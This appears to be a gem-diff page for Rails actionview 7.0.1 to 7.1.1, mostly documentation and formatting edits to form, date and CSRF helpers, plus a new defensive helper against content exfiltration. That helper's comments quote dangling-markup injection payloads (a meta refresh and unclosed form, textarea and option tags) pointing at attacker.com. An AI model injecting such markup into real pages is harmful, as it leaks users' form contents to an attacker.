actionview 7.0.1 → 7.1.1

Sign up to get free protection for your applications and to get access to all the features.
Files changed (92) hide show
  1. checksums.yaml +4 -4
  2. data/CHANGELOG.md +281 -202
  3. data/MIT-LICENSE +1 -1
  4. data/README.rdoc +3 -3
  5. data/app/assets/javascripts/rails-ujs.esm.js +693 -0
  6. data/app/assets/javascripts/rails-ujs.js +630 -0
  7. data/lib/action_view/base.rb +33 -12
  8. data/lib/action_view/buffers.rb +106 -8
  9. data/lib/action_view/cache_expiry.rb +40 -43
  10. data/lib/action_view/context.rb +1 -1
  11. data/lib/action_view/deprecator.rb +7 -0
  12. data/lib/action_view/digestor.rb +1 -1
  13. data/lib/action_view/gem_version.rb +2 -2
  14. data/lib/action_view/helpers/active_model_helper.rb +1 -1
  15. data/lib/action_view/helpers/asset_tag_helper.rb +133 -48
  16. data/lib/action_view/helpers/asset_url_helper.rb +13 -12
  17. data/lib/action_view/helpers/atom_feed_helper.rb +5 -5
  18. data/lib/action_view/helpers/cache_helper.rb +3 -9
  19. data/lib/action_view/helpers/capture_helper.rb +26 -12
  20. data/lib/action_view/helpers/content_exfiltration_prevention_helper.rb +70 -0
  21. data/lib/action_view/helpers/controller_helper.rb +6 -0
  22. data/lib/action_view/helpers/csp_helper.rb +2 -2
  23. data/lib/action_view/helpers/csrf_helper.rb +3 -3
  24. data/lib/action_view/helpers/date_helper.rb +76 -64
  25. data/lib/action_view/helpers/debug_helper.rb +3 -3
  26. data/lib/action_view/helpers/form_helper.rb +62 -31
  27. data/lib/action_view/helpers/form_options_helper.rb +6 -3
  28. data/lib/action_view/helpers/form_tag_helper.rb +88 -44
  29. data/lib/action_view/helpers/javascript_helper.rb +1 -0
  30. data/lib/action_view/helpers/number_helper.rb +15 -13
  31. data/lib/action_view/helpers/output_safety_helper.rb +4 -4
  32. data/lib/action_view/helpers/rendering_helper.rb +5 -6
  33. data/lib/action_view/helpers/sanitize_helper.rb +34 -15
  34. data/lib/action_view/helpers/tag_helper.rb +27 -16
  35. data/lib/action_view/helpers/tags/base.rb +11 -52
  36. data/lib/action_view/helpers/tags/collection_check_boxes.rb +1 -0
  37. data/lib/action_view/helpers/tags/collection_radio_buttons.rb +1 -0
  38. data/lib/action_view/helpers/tags/collection_select.rb +3 -0
  39. data/lib/action_view/helpers/tags/date_field.rb +1 -1
  40. data/lib/action_view/helpers/tags/date_select.rb +2 -0
  41. data/lib/action_view/helpers/tags/datetime_field.rb +14 -6
  42. data/lib/action_view/helpers/tags/datetime_local_field.rb +11 -2
  43. data/lib/action_view/helpers/tags/grouped_collection_select.rb +3 -0
  44. data/lib/action_view/helpers/tags/month_field.rb +1 -1
  45. data/lib/action_view/helpers/tags/select.rb +4 -1
  46. data/lib/action_view/helpers/tags/select_renderer.rb +56 -0
  47. data/lib/action_view/helpers/tags/time_field.rb +1 -1
  48. data/lib/action_view/helpers/tags/time_zone_select.rb +3 -0
  49. data/lib/action_view/helpers/tags/week_field.rb +1 -1
  50. data/lib/action_view/helpers/tags/weekday_select.rb +3 -0
  51. data/lib/action_view/helpers/tags.rb +2 -0
  52. data/lib/action_view/helpers/text_helper.rb +33 -17
  53. data/lib/action_view/helpers/translation_helper.rb +6 -6
  54. data/lib/action_view/helpers/url_helper.rb +90 -65
  55. data/lib/action_view/helpers.rb +2 -0
  56. data/lib/action_view/layouts.rb +13 -8
  57. data/lib/action_view/log_subscriber.rb +49 -32
  58. data/lib/action_view/lookup_context.rb +29 -13
  59. data/lib/action_view/path_registry.rb +57 -0
  60. data/lib/action_view/path_set.rb +13 -14
  61. data/lib/action_view/railtie.rb +26 -3
  62. data/lib/action_view/record_identifier.rb +16 -9
  63. data/lib/action_view/renderer/abstract_renderer.rb +1 -1
  64. data/lib/action_view/renderer/collection_renderer.rb +9 -1
  65. data/lib/action_view/renderer/partial_renderer/collection_caching.rb +21 -3
  66. data/lib/action_view/renderer/partial_renderer.rb +3 -2
  67. data/lib/action_view/renderer/renderer.rb +2 -0
  68. data/lib/action_view/renderer/streaming_template_renderer.rb +3 -2
  69. data/lib/action_view/renderer/template_renderer.rb +3 -2
  70. data/lib/action_view/rendering.rb +24 -6
  71. data/lib/action_view/ripper_ast_parser.rb +6 -6
  72. data/lib/action_view/routing_url_for.rb +7 -4
  73. data/lib/action_view/template/error.rb +14 -1
  74. data/lib/action_view/template/handlers/builder.rb +4 -4
  75. data/lib/action_view/template/handlers/erb/erubi.rb +23 -27
  76. data/lib/action_view/template/handlers/erb.rb +73 -1
  77. data/lib/action_view/template/handlers.rb +1 -1
  78. data/lib/action_view/template/html.rb +1 -1
  79. data/lib/action_view/template/raw_file.rb +1 -1
  80. data/lib/action_view/template/renderable.rb +1 -1
  81. data/lib/action_view/template/resolver.rb +15 -5
  82. data/lib/action_view/template/text.rb +1 -1
  83. data/lib/action_view/template/types.rb +25 -34
  84. data/lib/action_view/template.rb +227 -53
  85. data/lib/action_view/template_path.rb +2 -0
  86. data/lib/action_view/test_case.rb +174 -21
  87. data/lib/action_view/unbound_template.rb +15 -5
  88. data/lib/action_view/version.rb +1 -1
  89. data/lib/action_view/view_paths.rb +19 -28
  90. data/lib/action_view.rb +4 -1
  91. data/lib/assets/compiled/rails-ujs.js +36 -5
  92. metadata +27 -27
@@ -0,0 +1,70 @@
1
+ # frozen_string_literal: true
2
+
3
+ module ActionView
4
+ module Helpers
5
+ module ContentExfiltrationPreventionHelper
6
+ mattr_accessor :prepend_content_exfiltration_prevention, default: false
7
+
8
+ # Close any open attributes before each form tag. This prevents attackers from
9
+ # injecting partial tags that could leak markup offsite.
10
+ #
11
+ # For example, an attacker might inject:
12
+ #
13
+ # <meta http-equiv="refresh" content='0;URL=https://attacker.com?
14
+ #
15
+ # The HTML following this tag, up until the next single quote would be sent to
16
+ # +https://attacker.com+. By closing any open attributes, we ensure that form
17
+ # contents are never exfiltrated this way.
18
+ CLOSE_QUOTES_COMMENT = %q(<!-- '"` -->).html_safe.freeze
19
+
20
+ # Close any open tags that support CDATA (textarea, xmp) before each form tag.
21
+ # This prevents attackers from injecting unclosed tags that could capture
22
+ # form contents.
23
+ #
24
+ # For example, an attacker might inject:
25
+ #
26
+ # <form action="https://attacker.com"><textarea>
27
+ #
28
+ # The HTML following this tag, up until the next <tt></textarea></tt> or
29
+ # the end of the document would be captured by the attacker's
30
+ # <tt><textarea></tt>. By closing any open textarea tags, we ensure that
31
+ # form contents are never exfiltrated.
32
+ CLOSE_CDATA_COMMENT = "<!-- </textarea></xmp> -->".html_safe.freeze
33
+
34
+ # Close any open option tags before each form tag. This prevents attackers
35
+ # from injecting unclosed options that could leak markup offsite.
36
+ #
37
+ # For example, an attacker might inject:
38
+ #
39
+ # <form action="https://attacker.com"><option>
40
+ #
41
+ # The HTML following this tag, up until the next <tt></option></tt> or the
42
+ # end of the document would be captured by the attacker's
43
+ # <tt><option></tt>. By closing any open option tags, we ensure that form
44
+ # contents are never exfiltrated.
45
+ CLOSE_OPTION_TAG = "</option>".html_safe.freeze
46
+
47
+ # Close any open form tags before each new form tag. This prevents attackers
48
+ # from injecting unclosed forms that could leak markup offsite.
49
+ #
50
+ # For example, an attacker might inject:
51
+ #
52
+ # <form action="https://attacker.com">
53
+ #
54
+ # The form elements following this tag, up until the next <tt></form></tt>
55
+ # would be captured by the attacker's <tt><form></tt>. By closing any open
56
+ # form tags, we ensure that form contents are never exfiltrated.
57
+ CLOSE_FORM_TAG = "</form>".html_safe.freeze
58
+
59
+ CONTENT_EXFILTRATION_PREVENTION_MARKUP = (CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze
60
+
61
+ def prevent_content_exfiltration(html)
62
+ if prepend_content_exfiltration_prevention
63
+ CONTENT_EXFILTRATION_PREVENTION_MARKUP + html
64
+ else
65
+ html
66
+ end
67
+ end
68
+ end
69
+ end
70
+ end
@@ -4,6 +4,8 @@ require "active_support/core_ext/module/attr_internal"
4
4
 
5
5
  module ActionView
6
6
  module Helpers # :nodoc:
7
+ # = Action View Controller \Helpers
8
+ #
7
9
  # This module keeps all methods and behavior in ActionView
8
10
  # that simply delegates to the controller.
9
11
  module ControllerHelper # :nodoc:
@@ -20,6 +22,10 @@ module ActionView
20
22
  @_request = controller.request if controller.respond_to?(:request)
21
23
  @_config = controller.config.inheritable_copy if controller.respond_to?(:config)
22
24
  @_default_form_builder = controller.default_form_builder if controller.respond_to?(:default_form_builder)
25
+ else
26
+ @_request ||= nil
27
+ @_config ||= nil
28
+ @_default_form_builder ||= nil
23
29
  end
24
30
  end
25
31
 
@@ -1,8 +1,8 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  module ActionView
4
- # = Action View CSP Helper
5
4
  module Helpers # :nodoc:
5
+ # = Action View CSP \Helpers
6
6
  module CspHelper
7
7
  # Returns a meta tag "csp-nonce" with the per-session nonce value
8
8
  # for allowing inline <script> tags.
@@ -11,7 +11,7 @@ module ActionView
11
11
  # <%= csp_meta_tag %>
12
12
  # </head>
13
13
  #
14
- # This is used by the Rails UJS helper to create dynamically
14
+ # This is used by the \Rails UJS helper to create dynamically
15
15
  # loaded inline <script> elements.
16
16
  #
17
17
  def csp_meta_tag(**options)
@@ -1,8 +1,8 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  module ActionView
4
- # = Action View CSRF Helper
5
4
  module Helpers # :nodoc:
5
+ # = Action View CSRF \Helpers
6
6
  module CsrfHelper
7
7
  # Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site
8
8
  # request forgery protection parameter and token, respectively.
@@ -16,8 +16,8 @@ module ActionView
16
16
  #
17
17
  # You don't need to use these tags for regular forms as they generate their own hidden fields.
18
18
  #
19
- # For AJAX requests other than GETs, extract the "csrf-token" from the meta-tag and send as the
20
- # "X-CSRF-Token" HTTP header. If you are using rails-ujs this happens automatically.
19
+ # For Ajax requests other than GETs, extract the "csrf-token" from the meta-tag and send as the
20
+ # +X-CSRF-Token+ HTTP header. If you are using rails-ujs, this happens automatically.
21
21
  #
22
22
  def csrf_meta_tags
23
23
  if defined?(protect_against_forgery?) && protect_against_forgery?
@@ -10,7 +10,7 @@ require "active_support/core_ext/object/with_options"
10
10
 
11
11
  module ActionView
12
12
  module Helpers # :nodoc:
13
- # = Action View Date Helpers
13
+ # = Action View \Date \Helpers
14
14
  #
15
15
  # The Date Helper primarily creates select/option tags for different kinds of dates and times or date and time
16
16
  # elements. All of the select-type methods share a number of common options that are as follows:
@@ -26,7 +26,7 @@ module ActionView
26
26
  MINUTES_IN_QUARTER_YEAR = 131400
27
27
  MINUTES_IN_THREE_QUARTERS_YEAR = 394200
28
28
 
29
- # Reports the approximate distance in time between two Time, Date or DateTime objects or integers as seconds.
29
+ # Reports the approximate distance in time between two Time, Date, or DateTime objects or integers as seconds.
30
30
  # Pass <tt>include_seconds: true</tt> if you want more detailed approximations when distance < 1 min, 29 secs.
31
31
  # Distances are reported based on the following table:
32
32
  #
@@ -72,7 +72,7 @@ module ActionView
72
72
  # distance_of_time_in_words(to_time, from_time, include_seconds: true) # => about 6 years
73
73
  # distance_of_time_in_words(Time.now, Time.now) # => less than a minute
74
74
  #
75
- # With the <tt>scope</tt> option, you can define a custom scope for Rails
75
+ # With the <tt>scope</tt> option, you can define a custom scope for \Rails
76
76
  # to look up the translation.
77
77
  #
78
78
  # For example you can define the following in your locale (e.g. en.yml).
@@ -217,7 +217,7 @@ module ActionView
217
217
  # * <tt>:order</tt> - Set to an array containing <tt>:day</tt>, <tt>:month</tt> and <tt>:year</tt> to
218
218
  # customize the order in which the select fields are shown. If you leave out any of the symbols, the respective
219
219
  # select will not be shown (like when you set <tt>discard_xxx: true</tt>. Defaults to the order defined in
220
- # the respective locale (e.g. [:year, :month, :day] in the en locale that ships with Rails).
220
+ # the respective locale (e.g. [:year, :month, :day] in the en locale that ships with \Rails).
221
221
  # * <tt>:include_blank</tt> - Include a blank option in every select field so it's possible to set empty
222
222
  # dates.
223
223
  # * <tt>:default</tt> - Set a default date if the affected date isn't set or is +nil+.
@@ -291,12 +291,12 @@ module ActionView
291
291
  Tags::DateSelect.new(object_name, method, self, options, html_options).render
292
292
  end
293
293
 
294
- # Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a
294
+ # Returns a set of select tags (one for hour, minute, and optionally second) pre-selected for accessing a
295
295
  # specified time-based attribute (identified by +method+) on an object assigned to the template (identified by
296
296
  # +object+). You can include the seconds with <tt>:include_seconds</tt>. You can get hours in the AM/PM format
297
297
  # with <tt>:ampm</tt> option.
298
298
  #
299
- # This method will also generate 3 input hidden tags, for the actual year, month and day unless the option
299
+ # This method will also generate 3 input hidden tags, for the actual year, month, and day unless the option
300
300
  # <tt>:ignore_date</tt> is set to +true+. If you set the <tt>:ignore_date</tt> to +true+, you must have a
301
301
  # +date_select+ on the same method within the form otherwise an exception will be raised.
302
302
  #
@@ -320,6 +320,10 @@ module ActionView
320
320
  # # You can set :ampm option to true which will show the hours as: 12 PM, 01 AM .. 11 PM.
321
321
  # time_select 'game', 'game_time', { ampm: true }
322
322
  #
323
+ # # You can set :ignore_date option to true which will remove the hidden inputs for day,
324
+ # # month, and year that are set by default on this helper when you only want the time inputs
325
+ # time_select 'game', 'game_time', { ignore_date: true }
326
+ #
323
327
  # The selects are prepared for multi-parameter assignment to an Active Record object.
324
328
  #
325
329
  # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
@@ -844,14 +848,14 @@ module ActionView
844
848
  if @options[:use_hidden] || @options[:discard_year]
845
849
  build_hidden(:year, val)
846
850
  else
847
- options = {}
848
- options[:start] = @options[:start_year] || middle_year - 5
849
- options[:end] = @options[:end_year] || middle_year + 5
850
- options[:step] = options[:start] < options[:end] ? 1 : -1
851
- options[:leading_zeros] = false
852
- options[:max_years_allowed] = @options[:max_years_allowed] || 1000
853
-
854
- if (options[:end] - options[:start]).abs > options[:max_years_allowed]
851
+ options = {}
852
+ options[:start] = @options[:start_year] || middle_year - 5
853
+ options[:end] = @options[:end_year] || middle_year + 5
854
+ options[:step] = options[:start] < options[:end] ? 1 : -1
855
+
856
+ max_years_allowed = @options[:max_years_allowed] || 1000
857
+
858
+ if (options[:end] - options[:start]).abs > max_years_allowed
855
859
  raise ArgumentError, "There are too many years options to be built. Are you sure you haven't mistyped something? You can provide the :max_years_allowed parameter."
856
860
  end
857
861
 
@@ -871,6 +875,10 @@ module ActionView
871
875
  end
872
876
  end
873
877
 
878
+ def prompt_text(prompt, type)
879
+ prompt.kind_of?(String) ? prompt : I18n.translate(:"datetime.prompts.#{type}", locale: @options[:locale])
880
+ end
881
+
874
882
  # If the day is hidden, the day should be set to the 1st so all month and year choices are
875
883
  # valid. Otherwise, February 31st or February 29th, 2011 can be selected, which are invalid.
876
884
  def set_day_if_discarded
@@ -884,7 +892,7 @@ module ActionView
884
892
  def month_names
885
893
  @month_names ||= begin
886
894
  month_names = @options[:use_month_names] || translated_month_names
887
- month_names.unshift(nil) if month_names.size < 13
895
+ month_names = [nil, *month_names] if month_names.size < 13
888
896
  month_names
889
897
  end
890
898
  end
@@ -932,7 +940,7 @@ module ActionView
932
940
  #
933
941
  # month_name(1) # => 1
934
942
  #
935
- # If the <tt>:use_two_month_numbers</tt> option is passed:
943
+ # If the <tt>:use_two_digit_numbers</tt> option is passed:
936
944
  #
937
945
  # month_name(1) # => '01'
938
946
  #
@@ -997,22 +1005,25 @@ module ActionView
997
1005
  end
998
1006
 
999
1007
  # Build select option HTML from date value and options.
1000
- # build_options(15, start: 1, end: 31)
1001
- # => "<option value="1">1</option>
1002
- # <option value="2">2</option>
1003
- # <option value="3">3</option>..."
1004
1008
  #
1005
- # If <tt>use_two_digit_numbers: true</tt> option is passed
1006
- # build_options(15, start: 1, end: 31, use_two_digit_numbers: true)
1007
- # => "<option value="1">01</option>
1008
- # <option value="2">02</option>
1009
- # <option value="3">03</option>..."
1009
+ # build_options(15, start: 1, end: 31)
1010
+ # => "<option value="1">1</option>
1011
+ # <option value="2">2</option>
1012
+ # <option value="3">3</option>..."
1013
+ #
1014
+ # If <tt>use_two_digit_numbers: true</tt> option is passed:
1015
+ #
1016
+ # build_options(15, start: 1, end: 31, use_two_digit_numbers: true)
1017
+ # => "<option value="1">01</option>
1018
+ # <option value="2">02</option>
1019
+ # <option value="3">03</option>..."
1010
1020
  #
1011
- # If <tt>:step</tt> options is passed
1012
- # build_options(15, start: 1, end: 31, step: 2)
1013
- # => "<option value="1">1</option>
1014
- # <option value="3">3</option>
1015
- # <option value="5">5</option>..."
1021
+ # If <tt>:step</tt> options is passed:
1022
+ #
1023
+ # build_options(15, start: 1, end: 31, step: 2)
1024
+ # => "<option value="1">1</option>
1025
+ # <option value="3">3</option>
1026
+ # <option value="5">5</option>..."
1016
1027
  def build_options(selected, options = {})
1017
1028
  options = {
1018
1029
  leading_zeros: true, ampm: false, use_two_digit_numbers: false
@@ -1037,22 +1048,25 @@ module ActionView
1037
1048
  end
1038
1049
 
1039
1050
  # Build select option HTML for day.
1040
- # build_day_options(2)
1041
- # => "<option value="1">1</option>
1042
- # <option value="2" selected="selected">2</option>
1043
- # <option value="3">3</option>..."
1051
+ #
1052
+ # build_day_options(2)
1053
+ # => "<option value="1">1</option>
1054
+ # <option value="2" selected="selected">2</option>
1055
+ # <option value="3">3</option>..."
1044
1056
  #
1045
1057
  # If <tt>day_format: ->(day) { day.ordinalize }</tt> option is passed to DateTimeSelector
1046
- # build_day_options(2)
1047
- # => "<option value="1">1st</option>
1048
- # <option value="2" selected="selected">2nd</option>
1049
- # <option value="3">3rd</option>..."
1058
+ #
1059
+ # build_day_options(2)
1060
+ # => "<option value="1">1st</option>
1061
+ # <option value="2" selected="selected">2nd</option>
1062
+ # <option value="3">3rd</option>..."
1050
1063
  #
1051
1064
  # If <tt>use_two_digit_numbers: true</tt> option is passed to DateTimeSelector
1052
- # build_day_options(2)
1053
- # => "<option value="1">01</option>
1054
- # <option value="2" selected="selected">02</option>
1055
- # <option value="3">03</option>..."
1065
+ #
1066
+ # build_day_options(2)
1067
+ # => "<option value="1">01</option>
1068
+ # <option value="2" selected="selected">02</option>
1069
+ # <option value="3">03</option>..."
1056
1070
  def build_day_options(selected)
1057
1071
  select_options = []
1058
1072
  (1..31).each do |value|
@@ -1066,17 +1080,11 @@ module ActionView
1066
1080
  end
1067
1081
 
1068
1082
  # Build select option HTML for year.
1069
- # If <tt>year_format</tt> option is not passed
1070
- # build_year_options(1998, start: 1998, end: 2000)
1071
- # => "<option value="1998" selected="selected">1998</option>
1072
- # <option value="1999">1999</option>
1073
- # <option value="2000">2000</option>"
1074
1083
  #
1075
- # If <tt>year_format</tt> option is passed
1076
- # build_year_options(1998, start: 1998, end: 2000, year_format: ->year { "Heisei #{ year - 1988 }" })
1077
- # => "<option value="1998" selected="selected">Heisei 10</option>
1078
- # <option value="1999">Heisei 11</option>
1079
- # <option value="2000">Heisei 12</option>"
1084
+ # build_year_options(1998, start: 1998, end: 2000)
1085
+ # => "<option value="1998" selected="selected">1998</option>
1086
+ # <option value="1999">1999</option>
1087
+ # <option value="2000">2000</option>"
1080
1088
  def build_year_options(selected, options = {})
1081
1089
  start = options.delete(:start)
1082
1090
  stop = options.delete(:end)
@@ -1094,10 +1102,11 @@ module ActionView
1094
1102
  end
1095
1103
 
1096
1104
  # Builds select tag from date type and HTML select options.
1097
- # build_select(:month, "<option value="1">January</option>...")
1098
- # => "<select id="post_written_on_2i" name="post[written_on(2i)]">
1099
- # <option value="1">January</option>...
1100
- # </select>"
1105
+ #
1106
+ # build_select(:month, "<option value="1">January</option>...")
1107
+ # => "<select id="post_written_on_2i" name="post[written_on(2i)]">
1108
+ # <option value="1">January</option>...
1109
+ # </select>"
1101
1110
  def build_select(type, select_options_as_html)
1102
1111
  select_options = {
1103
1112
  id: input_id_from_type(type),
@@ -1114,9 +1123,10 @@ module ActionView
1114
1123
  (content_tag("select", select_html.html_safe, select_options) + "\n").html_safe
1115
1124
  end
1116
1125
 
1117
- # Builds the CSS class value for the select element
1118
- # css_class_attribute(:year, 'date optional', { year: 'my-year' })
1119
- # => "date optional my-year"
1126
+ # Builds the CSS class value for the select element.
1127
+ #
1128
+ # css_class_attribute(:year, 'date optional', { year: 'my-year' })
1129
+ # => "date optional my-year"
1120
1130
  def css_class_attribute(type, html_options_class, options) # :nodoc:
1121
1131
  css_class = \
1122
1132
  case options
@@ -1130,8 +1140,9 @@ module ActionView
1130
1140
  end
1131
1141
 
1132
1142
  # Builds a prompt option tag with supplied options or from default options.
1133
- # prompt_option_tag(:month, prompt: 'Select month')
1134
- # => "<option value="">Select month</option>"
1143
+ #
1144
+ # prompt_option_tag(:month, prompt: 'Select month')
1145
+ # => "<option value="">Select month</option>"
1135
1146
  def prompt_option_tag(type, options)
1136
1147
  prompt = \
1137
1148
  case options
@@ -1144,12 +1155,13 @@ module ActionView
1144
1155
  I18n.translate(:"datetime.prompts.#{type}", locale: @options[:locale])
1145
1156
  end
1146
1157
 
1147
- prompt ? content_tag("option", prompt, value: "") : ""
1158
+ prompt ? content_tag("option", prompt_text(prompt, type), value: "") : ""
1148
1159
  end
1149
1160
 
1150
1161
  # Builds hidden input tag for date part and value.
1151
- # build_hidden(:year, 2008)
1152
- # => "<input type="hidden" id="date_year" name="date[year]" value="2008" autocomplete="off" />"
1162
+ #
1163
+ # build_hidden(:year, 2008)
1164
+ # => "<input type="hidden" id="date_year" name="date[year]" value="2008" autocomplete="off" />"
1153
1165
  def build_hidden(type, value)
1154
1166
  select_options = {
1155
1167
  type: "hidden",
@@ -3,10 +3,10 @@
3
3
  require "action_view/helpers/tag_helper"
4
4
 
5
5
  module ActionView
6
- # = Action View Debug Helper
7
- #
8
- # Provides a set of methods for making it easier to debug Rails objects.
9
6
  module Helpers # :nodoc:
7
+ # = Action View Debug \Helpers
8
+ #
9
+ # Provides a set of methods for making it easier to debug \Rails objects.
10
10
  module DebugHelper
11
11
  include TagHelper
12
12